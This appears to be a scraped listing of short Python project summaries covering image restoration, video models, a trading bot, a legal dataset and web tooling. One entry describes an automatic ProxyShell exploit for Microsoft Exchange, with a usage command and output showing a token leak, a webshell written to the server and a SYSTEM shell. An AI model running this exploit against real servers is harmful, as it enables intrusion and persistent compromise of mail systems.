Build reusable components in Django without writing a single line of Python
Build reusable components in Django without writing a single line of Python. {% #quote %} {% quote_photo src=”/project-hail-mary.jpg”
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Author: Deep Learner
Dynamic Segment Aggregation Network for Video-Level Representation Learning
Overview We release the code of the DSANet (Dynamic Segment Aggregation Network). We introduce the DSA module to capture relationship among snippets for video-level representation learning. Equipped with DSA modules, the top-1 accuracy of I3D ResNet-50 is improved to 78.2% on Kinetics-400. The core code to implement the Dynamic Segment Aggregation Module is codes/models/modules_maker/DSA.py. [July 7, 2021] We release the core code of DSANet. [July 3, 2021] DSANet has been accepted by ACMMM 2021. Prerequisites All dependencies can be installed […]
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Automatic ProxyShell Exploit In Python
python3 proxyshell.py -t exchange.lab.local fqdn exchange.lab.local + [email protected] legacyDN /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=admin leak_sid S-1-5-21-3626636094-1513906978-1376853856-1156 token VgEAVAdX[cut]AAAA== set_ews Success with subject badqxybxtecxuttq write webshell at aspnet_client/tjmzk.aspx nt authoritysystemSHELL>“> usage: proxyshell.py [-h] -t T Automatic Exploit ProxyShell optional arguments: -h, –help show this help message and exit -t T Exchange URL Usage: C:>python3 proxyshell.py -t exchange.lab.local fqdn exchange.lab.local + [email protected] legacyDN /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=admin leak_sid S-1-5-21-3626636094-1513906978-1376853856-1156 token VgEAVAdX[cut]AAAA== set_ews Success with subject badqxybxtecxuttq write webshell at aspnet_client/tjmzk.aspx nt […]
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SwinIR: Image Restoration Using Swin Transformer
This repository is the official PyTorch implementation of SwinIR: Image Restoration Using Shifted Window Transformer (arxiv, supp). SwinIR ahcieves state-of-the-art performance in bicubic/lighweight/real-world image SR grayscale/color image denoising JPEG compression artifact reduction 🚀 🚀 🚀News: Image restoration is a long-standing low-level vision problem that aims to restore high-quality images from low-quality images (e.g., downscaled, noisy and compressed images). While state-of-the-art image restoration methods are based on convolutional neural networks, few attempts have been made with Transformers which show impressive performance […]
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Leveraged grid-trading bot using CCXT/CCXT Pro library in FTX exchange
The code is designed to perform infinity grid trading strategy in FTX exchange. The basic trader named Gridtrader.py control the number of grids dynamically using the setting in JSON file. asyncGridtrader.py will do the same job asynchronously. Trader with database support, Gridtrader_with_db.py and asyncGridtrader_with_db.py, will store the transaction info in database via mysql. If the trader termineated accidentally, the next execution of trader will follow the history stored in the database. It is recommended to execeute the code in Linux […]
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A Statutory Article Retrieval Dataset in French
This repository contains the Belgian Statutory Article Retrieval Dataset (BSARD), as well as the code to reproduce the experimental results from the associated paper by A. Louis, G. Spanakis, and G. Van Dijck. Abstract. Statutory article retrieval is the task of automatically retrieving law articles relevant to a legal question. While recent advances in natural language processing have sparked considerable interest in many legal tasks, statutory article retrieval remains primarily untouched due to the scarcity of large-scale and high-quality annotated […]
Read moreSplitting Datasets With scikit-learn and train_test_split()
One of the key aspects of supervised machine learning is model evaluation and validation. When you evaluate the predictive performance of your model, it’s essential that the process be unbiased. Using train_test_split() from the data science library scikit-learn, you can split your dataset into subsets that minimize the potential for bias in your evaluation and validation process. In this course, you’ll learn: Why you need to split your dataset in supervised machine learning Which subsets of the dataset you need […]
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A Two-stage Approach to Speech Bandwidth Extension
August 30, 2021 By: Ju Lin, Yun Wang, Kaustubh Kalgaonkar, Gil Keren, Didi Zhang, Christian Fuegen Abstract Algorithms for speech bandwidth extension (BWE) may work in either the time domain or the frequency domain. Time-domain methods often do not sufficiently recover the high-frequency content of speech signals; frequency-domain methods are better at recovering the spectral envelope, but have difficulty reconstructing the details of the waveform. In this paper, we propose a two-stage approach for BWE, which enjoys the advantages of […]
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Prometheus integration for Starlette in python
Introduction Prometheus integration for Starlette. Requirements Python 3.6+ Starlette 0.9+ Installation $ pip install starlette-prometheus Usage A complete example that exposes prometheus metrics endpoint under /metrics/ path. from starlette.applications import Starlette from starlette_prometheus import metrics, PrometheusMiddleware app = Starlette() app.add_middleware(PrometheusMiddleware) app.add_route(“/metrics/”, metrics) Metrics for paths that do not match any Starlette route can
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A library and CLI app for rendering project templates
A library for rendering project templates. Works with local paths and git URLs. Your project can include any file and Copier can dynamically replace values in any kind of text file. It generates a beautiful output and takes care of not overwrite existing files unless instructed to do so. Installation Install Python 3.6.1 or newer (3.8 or newer if you’re on
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